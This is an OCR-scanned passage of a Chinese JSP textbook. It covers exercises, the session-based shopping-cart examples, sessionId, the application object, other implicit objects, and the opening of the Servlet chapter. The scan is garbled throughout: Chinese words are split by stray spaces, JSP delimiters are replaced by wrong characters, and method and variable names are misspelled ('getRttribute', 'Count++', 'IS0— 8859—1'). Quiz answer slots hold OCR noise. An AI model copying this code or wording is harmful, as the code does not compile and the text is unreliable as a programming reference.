C. void flushO D. void clearBufferO 
4. 在 request 对 象 的 方法 中 ,用 来 得 到 请 求 的 URL 地 址 的 方法 是 ( Xs 
A. request. getRequestURIO B. request. getServletPathO 
C. request. getQueryString() D. request. getRemoteAddrO 


5. 下 列 关于 <jsp:forward > 和 response 的 sendRedirect 方法 进行 重 定向 的 说 法 中 错误 

的 是 (  ”)。 

A. forward 方法 属于 服务 器 端 去 请 求 资源 ,而 redirect 方法 让 客户 端 重新 向 服务 器 
端 请 求 一 遍 

B. forward 转发 的 页 以 及 转发 到 的 目标 页 面 不 能 共享 request 里 面 的 数据 ,但 
redirect 方法 可 以 

C. forward 方法 只 能 在 同一 个 Web 应 用 程序 内 的 资源 之 间 转 发 请 求 

D. 与 redirect 方法 相 比 ,forward 方法 的 效率 较 高 
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6. response 对 应 的 类 是 ( bs 
A. javax. servlet. http. HttpServletResponse 
B. java. servlet. http. HttpServletResponse 
C. javax. servlet. Response 
D. javax. servlet. HttpServletResponse 
7. 用 来 设置 Cookie 的 存活 时 间 的 代码 是 ( » 
A. response. addCookie(Cookie c) B. Cookie. setMaxAgelint second) 
C. request. getCookies() D. request. setCookies() 
8. 下 列 关 于 Cookie 的 说 法 中 正确 的 是 ( ) 。 
A. Cookie 是 绝对 安全 的 ,可 以 放心 使 用 
B.Cookie 帮助 服务 器 端 保存 多 个 状态 信息 ,使 用 服务 器 端 专门 分 配 存储 资源 
C. Cookie 可 以 持久 地 保持 一 些 和 客户 相关 的 信息 
D. 关闭 客户 端 计算 机 后 ,重新 打开 就 找 不 到 Cookie 文件 了 
9. 在 解决 Cookie 的 安全 问题 时 可 以 采用 及 时 删除 Cookie 的 方法 。 下 列 做 法 不 能 删除 
一 个 已 经 存在 的 Cookie 的 是 ( Ns 


A. 通过 浏览 器 删除 Cookie B. 禁用 Cookie 
C. 使 用 跨 站 脚本 技术 D. 给 Cookie 赋 空 值 
三 、 上 机 习题 


1. 编写 一 个 页 面 ,不 允许 以 192. 开头 的 客户 访问 ,如 果 访 问 , 则 给 它 回 送 信息 “访问 
-sR 

2. 在 页 面 1 中 输入 一 个 图 书 价格 ,到 达 页 面 2, 在 页 面 2 中 输入 一 个 汇率 ,提交 ,在 页 面 
3 中 显示 价格 /汇率 的 结果 。 

3. 在 登录 页 面 中 用 户 输入 用 户 名 和 密码 ,如 果 两 者 相等 , 则 登录 成 功 , 跳 转 到 欢迎 页 
面 ; 如 果 不 成 功 , 则 不 跳 转 , 并 显示 “登录 错误 ”。 

4. 用 户 访 问 首 页 ,用 一 个 下 拉 菜 单 选择 背景 颜色 ,提交 ,到 达 欢 迎 页 面 ,背景 颜色 为 用 
户 选择 的 颜色 。 下 次 用 户 访问 欢迎 页 面 ,直接 显示 该 颜色 ,无 须 重 新 选择 。 

5. 在 用 户 登录 界面 中 输入 账号 和 密码 ,让 用 户 选 择 * 是 否 保存 登录 状态 ”, 如 果 账 号 和 
密码 相符 , 则 登录 成 功 , 进 入 欢迎 页 面 。 在 登录 时 ,如 果 保 存 了 登录 状态 ,下 次 登录 时 若 访问 
登录 页 面 , 则 进入 欢迎 页 面 , 如 果 客 户 没 有 经 过 登录 就 访问 欢迎 页 面 , 则 跳 转 到 登录 页 面 。 
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建议 学 时 : 2 

购物 车 是 网 站 的 常见 功能 之 一 ,本 章 将 首先 学 习 session ,利用 session 解决 购物 车 问 
题 ,并 学 习 session 的 其 他 作用 。session 内 的 数据 对 某 一 个 用 户 专 有 ,但 是 在 某 些 程序 中 需 
要 提供 所 有 用 户 共 有 的 数据 ,本 章 将 学 习 使 用 application 来 解决 这 个 问题 。 本 章 还 将 学 习 
JSP 中 的 其 他 内 置 对 象 ,例如 exception、page、config 和 pageContext。 


8.1 利用 session 开发 购物 车 


8.1.1 购物 车 需求 


用 户 去 超市 买 东西 时 一 般 都 会 推 一 个 购物 车 ,购物 车 中 包含 了 用 户 需 要 买 的 商品 ,用 户 
可 以 将 商品 添加 到 购物 车 ,也 可 以 将 商品 从 购物 车 中 取出 或 删除 。 用户 可 以 推 着 购物 车 从 
-个 专柜 走 到 另 一 个 专柜 ,也 不 用 担心 别人 购物 车 里 面 的 东西 算 到 自己 的 账 上 ,这 在 生活 中 
已 经 成 为 常识 。 

如 果 用 户 不 想 去 超市 ,而 要 到 网 站 上 买 东西 ,各 个 专柜 就 变 成 了 不 同 页 面 ,怎样 操作 一 
个 虚拟 的 购物 车 进行 商务 活动 呢 ? 

使 用 JSP 的 九 大 对 象 中 的 session 可 以 解决 这 个 问题 。 

在 一 般 情 况 下 ,如 果 用 户 挑选 了 多 个 物品 ,可 以 将 物品 放 在 一 个 集合 内 。 

下 面 的 cartl.jsp 是 购物 车 的 一 个 实现 方案 ,代码 如 下 。 


cartl. jsp 


< 外 @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
< html > 
<body> 
< 第 
ArrayList books = new ArrayList(); 
// 在 购物 车 中 添加 
books.add(" 三 国 演义 "); 
books.add(" 西 游记 "); 
books.add(" 水 浒 传 "); 
> 
购物 车 中 内 容 为 : 
<hr> 
<% 
// 显 示 购物 车 中 的 内 容 
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for (int i=0; i< books.size(); i++) { 
String book = (String) books. get(i); 
out. println(book + "<br>"); 
} 
第 > 
</body> 
</html > 


在 服务 器 中 运行 ,结果 如 图 8-1 所 示 。 


购物 车 中 内 容 为， 
三 国 演义 


水 浒 传 
添加 内 容 , 单 击 链 接 , 在 另 一 个 页 面 中 显示 。 


cart2_1. jsp 


8-1 集合 显示 内 容 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 


<html> 
<body> 
<% 
ArrayList books = new ArrayList(); 
// 在 购物 车 中 添加 
books.add(" 三 国 演义 "); 
books.add(" 西 游记 "); 
books.add(" 水 浒 传 "); 
%> 
<a href = "cart2_2. jsp"> 查 看 购物 车 </a> 
</body> 
</html > 


cart2_2. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312"%> 


< html > 
<body> 
购物 车 中 内 容 为 : 
<hr> 
< 和 
ArrayList books = new ArrayList(); 
// 显 示 购 物 车 中 的 内 容 
for (int i=0; i< books. size(); i++) { 
String book = (String) books. get(i); 
out. println(book + "<br>"); 
' 
%> 
</body> 
</html > 


运行 cart2_1.jsp, 显 示 结 果 如 图 8-2 所 示 。 
单 击 该 链接 ,到 达 cart2_2. jsp, 显 示 结 果 如 图 8-3 所 示 。 
坦 看 购物 夺 购物 车 中 内 容 为 : 
图 8-2 超 链接 图 8-3 结果 页 面 


但 是 以 上 代码 不 具有 购物 车 的 特点 ,仅仅 增加 一 个 查看 购物 车 
丽人 功能 ,该 代码 就 无 法 实现 。 例 如 ,需要 在 第 1 个 页 面 中 向 购物 车 中 
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显示 购物 车 中 什么 也 没有 。 
问题 出 在 哪里 ?实际 上 ,在 cart2_2. jsp 中 有 一 句 代 码 : 


ArrayList books = new ArrayList(); 


该 代码 表示 books 集合 在 内 存 里 面 重新 实例 化 了 ,已 经 不 是 前 面 那个 页 面 中 的 books。 也 
就 是 说 ,两 个 页 面 中 的 books 根本 不 是 同一 个 books。 

因此 ,单纯 地 将 内 容 放 入 集合 ,并 不 具有 购物 车 的 特点 。 不 管 是 生活 中 的 购物 车 还 是 网 
上 的 购物 车 都 有 如 下 特点 。 

(1) 同一 个 用 户 使 用 的 是 同一 个 购物 车 。 

(2) 不 同 的 用 户 使 用 的 是 不 同 的 购物 车 ,否则 别人 买 的 东西 就 会 算 到 自己 的 账 上 。 

(3) 在 不 同 货架 (页 面 ) 之 间 进 行 访问 时 ,购物 车 中 的 内 容 可 以 保持 。 

在 以 上 3 点 中 最 关键 的 是 “ 跨 页 面 保持 ”。 

实际 上 ,JSP 中 的 内 置 对 象 session 就 是 跨 页 面 保持 的 ,在 访问 网 站 时 服务 器 端 已 经 分 
配 了 一 个 session 对 象 给 用 户 使 用 ,对 于 同一 个 用 户 ,不 管 在 哪个 页 面 ,用 户 使 用 的 都 是 同一 
个 session。 

session 是 JSP 的 九 大 内 置 对象 之 一 , 它 对 应 的 类 (接口 ) 是 javax. servlet. http. HttpSession， 
用 户 可 以 通过 查找 文档 中 的 javax. servlet. http. HttpSession 来 了 解 session 的 API。 


8.1.2 ”如何 用 session 开发 购物 车 


首先 学 习 session 常用 的 一 些 API( 这 些 API 都 可 以 在 文档 中 找到 ), 以 方便 了 解 
session 的 一 些 常 规 操 作 。 

1. 将 内 容 放 入 购物 车 

在 session 中 有 一 个 函数 void session. setAttribute(String name,Object obj), 通 过 该 函 
数 可 以 将 一 个 对 象 放 人 购物 车 。 

在 该 函数 里 面 ,参数 name 用 来 为 每 一 个 物品 取 一 个 属性 (attribute) 的 名 字 ( 标 记 ); 参 
数 obj 就 是 内 容 本 身 。 

例如 : 


session. setAttribute("book1", "三 国 演义 "); 


就 是 将 “三 国 演义 ” 放 入 session, 命 名 为 “book1”。 

特别 提醒 : 

(1) 如 果 两 次 调用 “setAttribute(String name, Object obj);” 并 且 name 相同 ,那么 后 面 
放 进 去 的 内 容 将 会 覆盖 之 前 放 进 去 的 内 容 。 

(2) “setAttribute(String name,Object obj);” 的 第 2 个 参数 是 Object 类 型 , 即 可 以 放 入 
session 的 不 仅仅 是 一 些 简单 字符 串 , 还 可 以 是 Object。 集 合 、 数 据 结构 对 象 都 可 以 放 人 
session ,这 大 大 提升 了 session 的 功能 。 

2. 读 取 购物 车 中 的 内 容 

读 取 购物 车 中 的 内 容 是 通过 session 中 的 函数 Object session. getAttribute (String 
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name)。 
在 该 函数 里 面 ,name 就 是 被 取出 的 内 容 所 对 应 的 标记 ,返回 值 是 内 容 本 身 。 
例如 : 


String str = (String)session. getAttribute("book1"); 


就 是 从 session 中 取出 标记 为 “bookl” 的 内 容 , 返 回 值 str 就 是 “三 国 演义 ”。“session 
. getAttribute(String name); ”返回 的 是 Object 类 型 ,意味 着 用 户 将 内 容 从 session 中 取出 时 
还 必须 进行 强制 转换 。 

在 实际 项 目 中 ,可 以 使 session 中 的 内 容 多 种 多 样 。 为 了 将 session 里 面 的 内 容 很 好 地 
分 门 别 类 ,可 以 将 这 几 种 物品 先 放 在 一 个 集合 中 ,然后 将 集合 放 入 session 中 ,操作 更 加 方 
便 。 代 码 如 cart3_1.jsp 和 cart3_2. jsp 所 示 。 


cart3_1. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
ArrayList books = new ArrayList(); 
// 向 books 中 添加 
books.add(" 三 国 演义 "); 
books.add(" 西 游记 "); 
books.add(" 水 浒 传 "); 
// 将 books 放 入 session 
session. setAttribute("books", books); 
%> 
<a href = " cart3_2. jsp"> 查 看 购物 车 </a> 
</body> 
</html > 


cart3_2. jsp 


<% @ page language = "java" import = "java.util. *" pageEncoding = "gb2312" %> 
<html> 
<body> 
购物 车 中 内 容 为 : 
<hr> 
<% 
// 从 购物 车 中 取出 books 
ArrayList books = (ArrayList)session. getAttribute( "books"); 
// 遍 历 books 
for(int i= 0;i< books. size();i++){ 
String book = (String)books. get (i); 
out. println(book + "<br>"); 
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运行 ,效果 正常 。 由 于 ArrayList 中 的 内 容 是 可 以 保持 顺序 的 ,所 以 显示 的 结果 按照 添 
加 进去 的 顺序 。 


8. 2 session 的 其 他 API 
8.2.1 session 的 其 他 操作 


1. 移 除 session 中 的 内 容 

session 有 一 个 函数 void session. removeAttribute(String name), 利用 该 函数 可 以 将 属 
性 名 为 name 的 内 容 从 session 中 移 除 , 类 似 于 在 超市 买 东西 时 将 货物 从 购物 车 中 取出 , 放 
回 货 架 。 

例如 : 


session. removeAttribute("book1"); 


就 是 将 名 为 “book1” 的 内 容 从 session 中 移 除 。 

2. 移 除 session 中 的 全 部 内 容 

用 void session. invalidate(); 函数 可 以 将 session 中 的 所 有 内 容 移 除 。 

应 该 注意 的 是 ,session 中 的 内 容 被 移 除 之 后 ,如果 再 想得到 ,会 返回 null 值 。 

3. 预防 session 内 容 丢 失 

用 户 在 使 用 session 的 过 程 中 要 注意 一 些 技巧 ,session 中 存放 的 内 容 要 一 致 ,否则 会 造 
成 数据 丢失 。 

例如 用 一 个 表单 提交 将 书本 放 入 购物 车 ,并 在 页 面 底部 打印 ,代码 如 sessionLost. jsp 
所 示 。 


sessionLost. jsp 


<% @ page language = "java" import = "java.util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< form action = "sessionLost. jsp" method= "post"> 
请 您 输入 书本 : < input name = "book" type = "text"> 
< input type = "submit" value = "添加 到 购物 车 "> 
</form> 
<hr> 
< 和 
// 向 session 中 放 人 一 个 集合 对 象 
ArrayList books = new ArrayList(); 
session. setAttribute("books", books); 
// 获 得 书 名 
String book = request. getParameter("book"); 
if(book!= null){ 
book = new String(book. getBytes("IS0— 8859—1")); 
// 将 book 加 进去 
books. add( book); 
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先 > 
购物 车 中 的 内 容 是 : <br> 
<% 
// 遍 历 books 
for(int i= 0;i<books.size();i++){ 
out. println(books. get(i) + "<br>"); 


运行 ,得 到 如 图 8-4 所 示 的 界面 。 


请 您 输入 书本 ， 添加 到 网 物 车 
购物 车 中 的 内 容 是 ， 
图 8-4 ”购物 车 界面 
此 时 购物 车 中 没有 内 容 。 
输入 “三 国 演义 ”, 提 交 , 屏 幕 显示 结果 如 图 8-5 所 示 。 
请 您 输入 书本 ， 添加 到 购 禄 车 
购物 车 中 的 内 容 是 ， 
三 国 演义 


图 8-5 添加 “三 国 演义 ”到 购物 车 
没有 问题 ,但 如 果 青 输入 “西游 记 ”, 提 交 , 屏 幕 显示 结果 如 图 8-6 所 示 。 
请 您 输入 书本 ， 


购物 车 中 的 内 容 是 ， 
西游 记 
图 8-6 添加 “西游 记 ” 到 购物 车 


“二 国 演义 ”过 类 了 。 
问题 出 在 下 面 这 段 程序 。 


< 和 
// 向 session 中 放 入 一 个 集合 对 象 
ArrayList books = new ArrayList(); 
session. setAttribute( "books", books); 


因为 网 页 每 次 运行 都 会 有 一 个 新 实例 化 的 ArrayList 放 在 session 里 面 ,所 以 第 一 
交 之 后 放 入 session 中 的 集合 和 第 二 次 提交 之 后 放 入 session 中 的 集合 是 不 一 样 的 。 
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解决 的 方法 是 只 有 第 一 次 运行 时 才 新 实例 化 一 个 ArrayList, 其 他 时 候 使 用 session 中 
的 ArrayList。 

如 果 要 知道 是 否 为 第 一 次 运行 ,只 需要 做 一 个 判断 ,因此 代码 可 以 改 为 如 handleSessionLost 
.jsp 所 示 。 


handleSessionLost. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< form action = " handleSessionLost. jsp" method= "post"> 
请 您 输入 书本 : < input name = "book" type = "text"> 
< input type = "submit" value = "添加 到 购物 车 "> 
</form> 
<hr> 
< 和 
// 从 session 获取 books, 如 果 为 空 则 实例 化 
ArrayList books = (ArrayList)session. getRttribute("books"); 
if(books == null){ 
books = new ArrayList(); 
session. setAttribute("books", books); 


} 

// 获 得 书 名 

String book = request. getParameter("book"); 

if(book!= null){ 
book = new String(book. getBytes("IS0— 8859 — 1")); 
// 将 book 加 进去 
books. add( book); 

} 


%> 
购物 车 中 的 内 容 是 : < br > 
< 和 
// 遍 历 books 
for(int i= 0;i< books.size();i++){ 
out. println(books.get(i) + "<br>"); 
l 
%> 
</body> 
</html > 


运行 ,首先 输入 “三 国 演义 ”, 再 输入 “西游 记 ”, 界 面 显示 如 图 8-7 所 示 。 


请 您 输入 书本 EL 
购物 车 中 的 内 容 是 ， 

三 国 演义 

西洲 记 


图 8-7 添加 “三 国 演义 ”和 “西游 记 ” 到 购物 车 


8.2.2 SessionId 


从 前 面 的 例子 可 以 看 出 ,session 中 的 数据 可 以 被 同一 个 客户 在 网 站 的 一 次 会 话 过 程 中 
共享 。 但 是 对 于 不 同 客 户 来 说 ,每 个 人 的 session 是 不 同 的 。 服 务 器 上 session 的 分 配 情 况 
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服务 器 局 
Cm 1 访问 多 个 页 面 


客户 2 访问 多 个 页 面 


客户 3 访问 多 个 页 面 


如 图 8-8 所 示 。 


图 8-8 ”sessionld 原理 图 


读者 可 能 会 提出 一 个 问题 : 客户 在 访问 多 个 页 面 时 多 个 页 面 用 到 session, 服 务 器 怎样 
知道 该 客户 的 多 个 页 面 使 用 的 是 同一 个 session? 

实际 上 ,对 于 每 一 个 session ,服务 器 端 都 有 一 个 sessionId 来 标识 它 。session 有 一 个 函 
数 String session. getId0, 通 过 它 可 以 得 到 当前 session 在 服务 器 端的 ID。 

下 面 的 sessionId1. jsp 和 sessionId2. jsp 实现 了 客户 的 多 个 页 面 使 用 同一 个 session , 代 
码 如 下 。 


sessionId1. jsp 


<%@ page language = "java" import = "java.util. * ”pageEncoding = "gb2312" %> 
< html > 
<body> 
<% 
String id= session. getId(); 
out. println(" 当 前 sessionId 为 :" + id); 
%> 
<hr> 
<a href = ”sessionId2. jsp"> 到 达 下 一 个 页 面 </a> 
</body> 
</html> 


sessionId2. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" 多 > 
<<html > 
< body> 
< 和 
String id = session. getId(); 
out. println(" 当 前 sessionId 为 :”+ id); 
%> 
</body> 
</html > 


其 显示 效果 如 图 8-9 所 示 。 
单 击 链接 ,下 一 个 页 面 中 的 显示 如 图 8-10 所 示 。 
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当前 sessionId 为 :FA807A6184476AB13AAFAE39AB2A7DC2 


到 达 下 一 个 页 面 当前 sessionId 为 :FA807A6184476AB13AAFAE89AB2A7DC2 
8-9 当前 页 面 的 sessionId 图 8-10 另 一 个 页 面 的 sessionId 


从 这 里 可 以 看 出 ,同一 个 客户 访问 时 两 个 ID 相同 。 

实际 上 ,在 第 一 次 访问 时 服务 器 端 就 给 session 分 配 了 一 个 sessionId, 并 且 证 客户 端 记 
住 了 这 个 sessionId, 当 客户 端 访问 下 一 个 页 面 时 ,又 将 sessionld 传送 给 服务 器 端 ,服务 器 端 
根据 这 个 sessionId 找到 前 一 个 页 面 用 的 session 对 象 。 

注意 : 在 不 同 用 户 的 计算 机 上 显示 的 结果 可 能 不 一 样 ,因为 sessionId 的 分 配 是 随 
机 的 。 


8.2.3 利用 session 保存 登录 信息 


session 的 另 一 个 用 处 是 可 以 保存 登录 信息 。 

假如 用 户 登录 学 生 管理 系统 ,登录 后 用 户 可 能 要 做 很 多 操作 ,访问 很 多 页 面 ,在 访问 这 
些 页 面 的 过 程 中 各 个 页 面 如 何 知道 用 户 的 账号 呢 ? 

答案 很 简单 ,在 登录 成 功 后 ,用 户 的 账号 可 以 保存 在 session 中 ,后 面 的 各 个 页 面 都 可 以 
访问 session 中 的 内 容 。 


8.3 application 对 象 


session 中 的 数据 可 以 被 同一 个 客户 在 网 站 的 一 次 会 话 过 程 中 共享 ,但 是 对 于 不 同 客 户 
来 说 ,每 个 人 的 session 是 不 同 的 。 

本 节 将 要 讲解 application 对 象 ,对 于 不 同 客户 端 来 说 ,服务 器 端的 对 象 是 相同 的 ,如 
图 8-11 所 示 。 


转 


a 客户 1 访问 站 点 
application 
| “| 
客户 2 访问 站 点 


图 8-11 application 原理 图 


很 明显 ,购物 车 是 不 能 用 application 开发 的 ,因为 不 同 客户 在 服务 器 端 访问 的 是 同一 
个 对 象 ,如 果 使 用 application 实现 购物 车 ,客户 1 向 购物 车 中 放 了 一 种 物品 ,客户 2 也 可 以 
看 到 ,这 样 是 不 允许 的 。 

当然 ,application 也 并 不 是 没有 用 处 。 例 如 在 网 上 书城 中 ,对 于 当前 在 线 用 户 名 单 , 所 
有 客户 的 浏览 器 上 都 应 该 能 够 显示 。 或 者 说 ,当前 在 线 用 户 名 单 对 所 有 客户 是 共享 的 。 此 
时 ,当前 在 线 用 户 名 单 可 以 存放 在 服务 器 端的 application 中 。 

对 于 一 个 Web 容器 而 言 ,所 有 的 用 户 共同 使 用 一 个 application 对 象 ,服务 器 启动 后 会 
自动 创建 application 对 象 ,这 个 对 象 会 一 直 保存 ,直到 服务 器 关闭 为 止 。 
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application 是 JSP 的 九 大 内 置 对 象 之 一 , 它 对 应 的 类 (接口 ) 是 javax. servlet. ServletContext， 
用 户 可 以 通过 查找 文档 中 的 javax. servlet. ServletContext 来 了 解 application 的 API。 

首先 介绍 application 对 象 的 API。 实 际 上 application 对 象 的 使 用 方法 和 session 类 
似 ,application 对 象 的 API 主要 有 以 下 几 个 。 

(1) 将 内 容 放 入 application。application 有 下 列 一 个 函数 。 


void application. setAttribute( String name, Object obj) 

该 函数 和 session 中 setAttribute0O 函 数 的 形式 相同 ,只 不 过 obj 保存 在 application 内 。 
(2) 读 取 application 中 的 内 容 。application 有 下 列 一 个 函数 。 
Object application. getAttribute( String name) 


该 函数 和 session 中 getAttribute() 函 数 的 形式 相同 ,只 不 过 obj 是 从 application 内 读 取 。 
(3) 将 内 容 从 application 中 移 除 。application 有 下 列 一 个 函数 。 
void application. removeAttribute( String name) 
利用 该 函数 可 以 将 属性 名 为 name 的 内 容 从 application 中 移 除 。 
下 面 用 一 个 简单 的 案例 来 实现 显示 某 个 页 面 被 访问 的 次 数 。 很 显然 ,这 个 次 数 应 该 被 
所 有 客户 所 知 , 因 此 可 以 使 用 application 实现 。 下 面 的 applicationTest. jsp 实现 该 功能 , 代 
码 如 下 。 


applicationTest. jsp 


<% @ page language = "java" import = "java.util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
<% 
// 第 一 次 访问 ,实例 化 count 
Integer count = (Integer)application. getAttribute( "count"); 
if(count == null){ 
count = new Integer(0); 
} 
Count++; 
application. setAttribute("count", count); 
%> 
您 是 该 页 面 的 第 <%= count %> 个 访问 者 。 
</body> 
</html > 


运行 ,显示 效果 如 图 8-12 所 示 。 
如 果 另 一 个 人 访问 ,显示 效果 如 图 8-13 所 示 。 


您 是 该 页 面 的 第 1 个 访问 者 。 您 是 该 页 面 的 第 2 个 访问 者 。 
图 8-12 显示 效果 图 8-13 另 一 个 人 访问 
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8.4 其 他 对 象 


1.exception 对 象 

由 于 用 户 的 输入 或 者 一 些 不 可 预见 的 原因 ,页 面 在 运行 过 程 中 总 是 有 一 些 没 有 发 现 或 
者 是 无 法 避免 的 异常 现象 出 现 , 此 时 可 以 通过 exception 对 象 来 获取 一 些 异常 信息 。 

exception 是 JSP 的 九 大 内 置 对 象 之 一 , 它 对 应 的 类 (接口 ) 是 java. lang. Exception ,用 
户 可 以 通过 查找 文档 中 的 java. lang. Exception 来 了 解 exception 的 API。 

该 对 象 的 使 用 较 少 。 

2. page 对 象 

page 对 象 是 指向 当前 JSP 程序 本 身 的 对 象 ,有 点 像 类 中 的 this。 它 是 java. lang. Object 
类 的 实例 对 象 ,可 以 使 用 Object 类 的 方法 。 

page 对 象 在 JSP 程序 中 的 应 用 不 是 很 广 。 

3. config 对 象 

config 对 象 是 在 一 个 JSP 程序 初始 化 时 JSP 引擎 向 它 传递 消息 用 的 ,此 消息 包括 JSP 
程序 初始 化 时 所 需要 的 参数 及 服务 器 的 有 关 信 息 。 

config 对 应 的 接口 是 javax. servlet. ServletConfig ,该 接口 的 使 用 较 少 。 

4. pageContext 对 象 

pageContext 是 javax. servlet. jsp. PageContext 类 的 实例 对 象 。 实 际 上 , pageContext 
对 象 提供 了 对 JSP 页 面 中 所 有 对 象 及 命名 空间 的 访问 ,pageContext 对 象 的 方法 可 以 访问 
除 本 身 以 外 的 8 个 JSP 内 部 对 象 .还 可 以 直接 访问 绑 定 在 application 对 象 . page 对 象 、 
request 对 象 ,session 对 象 上 的 Java 对 象 。 该 接口 的 使 用 较 少 。 


8.5 本 章 小 结 


本 章 首 先 学 习 利用 session 解决 购物 车 问题 ,并 学 习 session 的 其 他 作用 ,然后 学 习 了 
application 的 性 质 , 最 后 对 内 置 对 象 exception、page、config 和 pageContext 进行 了 简要 
介绍 。 


8.6 课 后 习题 


一 、 填空 题 

1. session 对 应 的 类 是 o 

2. 将 session 中 的 内 容 全 部 移 除 的 方法 是 

3. 对 于 每 一 个 session ,服务 器 端 都 有 一 个 来 标识 它 。 

4. 获得 当前 session 在 服务 器 端的 ID 的 方法 是 六 

5. 对 于 一 个 Web 容器 而 言 , 所 有 的 用 户 共同 使 用 一 个 对 象 。 

6. application 对 应 的 类 是 

下 对 象 是 在 一 个 JSP 程序 初始 化 时 JSP 引擎 向 它 传递 消息 用 的 。 
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8. page 对 象 指向 。 
二 、 选 择 题 
1. 下 列 关于 session 的 说 法 错误 的 是 ( 和 5 
A. 在 访问 网 站 时 ,服务 器 端 自 动 分 配 一 个 session 对 象 给 用 户 使 用 
B. 对 于 同一 个 用 户 , 当 网 站 的 页 面 改变 时 ,用 户 使 用 的 session 也 会 改变 
C. session 负责 保存 同一 个 客户 端 一 次 会 话 过 程 中 的 一 些 信息 
D. session 能 够 跨 页 保持 
2. 通过 ( ) 方 法 可 以 将 内 容 保 存在 session 中 。 


A. session. setAttribute(String name, Object obj) 


B. session. getAttribute(String name) 
C. session. setValues(String name, Object obj) 
D. session. getValues(String name) 
3. 下 列 说 法 中 正确 的 是 ( )。 
A._ session. setAttribute(String name，Object obj) 中 的 第 2 个 参数 可 以 是 自 定义 
类 型 
B，session. getAttribute(String name) 的 返回 值 是 Object 类 型 , 当 用 户 从 session 中 
取出 内 容 时 不 需要 进行 强制 转换 
C. session. removeAttribute(String name) 可 以 将 session 中 的 所 有 内 容 删除 
D.，session 中 的 数据 不 能 被 同一 个 客户 在 网 站 的 一 次 会 话 过 程 中 共享 
4. 下 列 关 于 sessionId 的 说 法 错误 的 是 ( ji。 
A. 对 于 不 同 的 客户 来 说 ,每 个 人 的 session 是 不 同 的 
B. 对 于 每 一 个 session, 服 务 器 端 都 有 一 个 sessionId 来 标识 它 
C. 在 第 一 次 访问 时 ,服务 器 端 就 给 session 分 配 了 一 个 sessionld 
D. 在 客户 端 访 问 下 一 个 页 面 时 ,不 会 将 sessionId 传递 给 服务 器 端 
5. 在 服务 器 启动 后 就 会 自动 创建 application 对 象 ,这 个 对 象 会 一 直 保 存 , 直到 服务 器 
关闭 为 止 。 该 说 法 (  )。 
A. 正确 B. 错误 
6. 下 列 关 于 application 的 说 法 正确 的 是 ( Dy 
A. 对 于 不 同 的 客户 端 来 说 ,服务 器 端的 application 对 象 是 不 同 的 
B. application 对 应 的 类 是 javax. servlet. ServletApplication 


C. 将 内 容 放 入 application 用 application. getAttribute(String name) 
D. 显示 某 个 页 面 被 访问 的 次 数 可 以 用 application 对 象 
7. exception 对 象 对 应 的 类 是 ( 


A. java. lang. Exception B. javax. servlet. Exception 

C. javax. lang. Exception D. java. servlet. Exception 
8.( ) 对 象 提供 了 对 JSP 页 面 中 所 有 对 象 及 命名 空间 的 访问 。 

A. page B. pageContext C. config D. exception 
三 、 上 机 习题 


1. 编写 两 个 页 面 , 一 个 显示 一 些 历史 图 书 的 名 称 和 价格 ,一 个 显示 一 些 计算 机 图 书 的 
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名 称 和 价格 。 在 每 本 书 的 后 面 都 有 一 个 链接 一 一 购买 , 单 击 链接 ,能 够 将 该 书 添加 到 购物 
车 ; 在 每 个 页 面 上 都 有 链接 “显示 购物 车 ”, 单 击 该 链接 ,能 够 显示 购物 车 中 的 内 容 ; 在 每 个 
内 容 后 面 都 有 一 个 “删除 ”链接 , 单 击 链接 ,可 以 将 该 图 书 从 购物 车 中 删除 。 

2. 客户 输入 账号 和 密码 登录 ,如 果 账 号 和 密码 相符 , 则 认为 登录 成 功 ,登录 成 功 之 后 进 
人 欢迎 页 面 。 在 该 页 面 内 有 一 个 “退出 ?按钮 , 单 击 , 回 到 登录 页 面 。 要 求 : 退出 登录 之 后 ， 
如 果 访 问 欢 迎 页 面 ,或 者 通过 后 退 按钮 回 到 欢迎 页 面 , 都 会 跳 转 到 登录 页 面 。 

3. 编写 一 个 登录 界面 ,用 户 登 录 , 输 入 账号 和 密码 ,如 果 账 号 和 密码 相符 , 则 认为 登录 
成 功 , 到 达 聊 天 界面 ,在 该 界面 中 显示 在 线 名 单 ( 登 录 成 功 的 所 有 账号 ) 。 


Serotet 和 javaBean 开发 


Servlet 编程 


建议 学 时 : 4 

Servlet 是 运行 在 Web 服务 器 端的 Java 应 用 程序 ,可 以 生成 动态 的 Web 页 面 , 属 于 客 
户 与 服务 器 响应 的 中 间 层 。 实 际 上 ,JSP 在 底层 就 是 一 个 Servlet。 本 章 将 介绍 Servelt 的 作 
用 、 如 何 创建 一 个 Servlet、Servlet 的 生命 周期 .在 Servlet 中 如 何 使 用 JSP 页 面 中 常用 的 内 
置 对 象 。 另 外 ,本 章 还 将 学 习 Web 容器 中 欢迎 页 面 的 设 定 、 初 始 化 参数 的 设 定 、Servlet 内 
的 跳 转 、 过 滤器 、 异 常 处 理 等 。 


9.1 认识 Servlet 


在 学 习 JSP 时 ,读者 可 能 会 问 : Java 是 面向 对 象 的 语言 ,任何 Java 代码 都 必须 放 到 类 
中 ,但 是 在 JSP 中 似乎 没有 看 到 类 的 定义 ,这 是 怎么 回 事 ? 

实际 上 ,在 运行 JSP 时 ,服务 器 底层 会 将 JSP 编译 成 一 个 Java 类 ,这 个 类 就 是 Servlet。 
从 概念 上 说 ,Servlet 是 一 种 运行 在 服务 器 端 (一 般 指 的 是 Web 服务 器 ) 的 Java 应 用 程序 ,可 
以 生成 动态 的 Web 页 面 , 它 是 属于 客户 与 服务 器 响应 的 中 间 层 。 因 此 ,可 以 说 JSP 就 是 
Servlet。 二 者 可 以 实现 同样 的 页 面 效 果 , 不 过 编写 JSP 和 编写 Servlet 相 比 ,前 者 的 成 本 低 
得 多 。 

问答 

问 : 既然 这 样 ,Servlet 还 有 什么 学 习 的 价值 ? 

答 : Servlet 属于 JSP 的 底层 ,学 习 它 有 助 于 了 解 底层 细节 ; 另外 ,Servlet 毕竟 是 一 个 
